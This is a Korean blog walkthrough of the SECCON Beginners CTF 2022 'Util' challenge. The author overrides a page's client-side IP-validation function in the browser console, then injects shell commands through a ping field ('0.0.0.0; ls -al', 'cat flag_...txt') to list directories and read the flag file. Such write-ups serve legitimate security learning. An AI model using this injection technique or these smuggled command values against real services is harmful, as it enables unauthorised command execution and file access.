본문 바로가기
CTF

[SECCON Beginners CTF 2022] Util

by skyepodium 2022. 6. 5.

1. 개요

command line injection

 

2. 분석

전형적인 커맨드라인 인젝션 문제이고, 거의 교과서 예제 문제 처럼 ping으로 나왔습니다.

 

1) 확인

접속하면 ping을 입력하라고 나옵니다.

2) 코드

코드를 보면 문자열을 입력받아서 exec로 시스템 콜을 진행함을 알 수 있습니다.

 

여기에 시스템 명령어를 넣어서 결과를 반환받을 수 있습니다. 명령어는 ; 세미콜론으로 구분할 수 있습니다.

 

3. exploit

1) 자바스크립트

코드를 보면 핑 이외의 문자열이 들어오면 정규식으로 검색해서, invalid 처리하는데, 깔끔하게 재 할당 해버립시다.

다음과 같이 정규식에 맞지 않은 내용이 들어오면 클라이언트 사이드에서 필터링을 겁니다.

 

use strict 안걸려있고, function 함수 선언식으로 구성되어 있기 때문에 깔끔하게 새로 정의해버립시다.

 

    function send() {
      var address = document.getElementById("addressTextField").value;

      if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
        var json = {};
        json.address = address

        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/util/ping");
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.send(JSON.stringify(json));

        document.getElementById("notify").innerHTML = "<p>sending...</p>";

        xhr.onload = function () {
          if (xhr.status != 200) {
            document.getElementById("notify").innerHTML =
              "<p>Request Error : " + xhr.response + "</p>";
          } else {
            document.getElementById("notify").innerHTML =
              "<pre><code>" + JSON.parse(xhr.response).result.replaceAll("\n", "<br />") + "</code></pre>";
          }
        };
      } else {
        document.getElementById("notify").innerHTML = "<p>Invalid IP address</p>";
      }
    }

    var init = function () {
      var btn = document.getElementById("submit");
      var popup = function () {
        send();
      };
      btn.addEventListener("click", popup, false);
    };

    window.addEventListener("load", init, false);

 

if 문 필터를 지웠습니다.

function send() {
    var address = document.getElementById("addressTextField").value;

    var json = {};
    json.address = address

    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/util/ping");
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify(json));

    document.getElementById("notify").innerHTML = "<p>sending...</p>";

    xhr.onload = function () {
        if (xhr.status != 200) {
            document.getElementById("notify").innerHTML =
                "<p>Request Error : " + xhr.response + "</p>";
        } else {
            document.getElementById("notify").innerHTML =
                "<pre><code>" + JSON.parse(xhr.response).result.replaceAll("\n", "<br />") + "</code></pre>";
        }
    };


    var init = function () {
        var btn = document.getElementById("submit");
        var popup = function () {
            send();
        };
        btn.addEventListener("click", popup, false);
    };
}

 

콘솔에 넣고 엔터 눌러서 실행

 

주소 이외의 문자열도 잘 들어갑니다.

2) 분석

현재 디렉토리 목록 확인

0.0.0.0; ls -al

플래그를 찾았습니다.

0.0.0.0; cd ..; ls -al;

 

 

출력

0.0.0.0; cd ..; cat flag_A74FIBkN9sELAjOc.txt;

'CTF' 카테고리의 다른 글

[SECCON Beginners CTF 2022] CoughingFox  (0) 2022.06.05
[SECCON Beginners CTF 2022] Quiz  (0) 2022.06.05
[BSidesSF CTF] Sequels: A New Bug  (0) 2022.06.05
[n00bzCTF] tcpdump  (0) 2022.06.04
[BCACTF 3.0] My New Friend  (0) 2022.06.04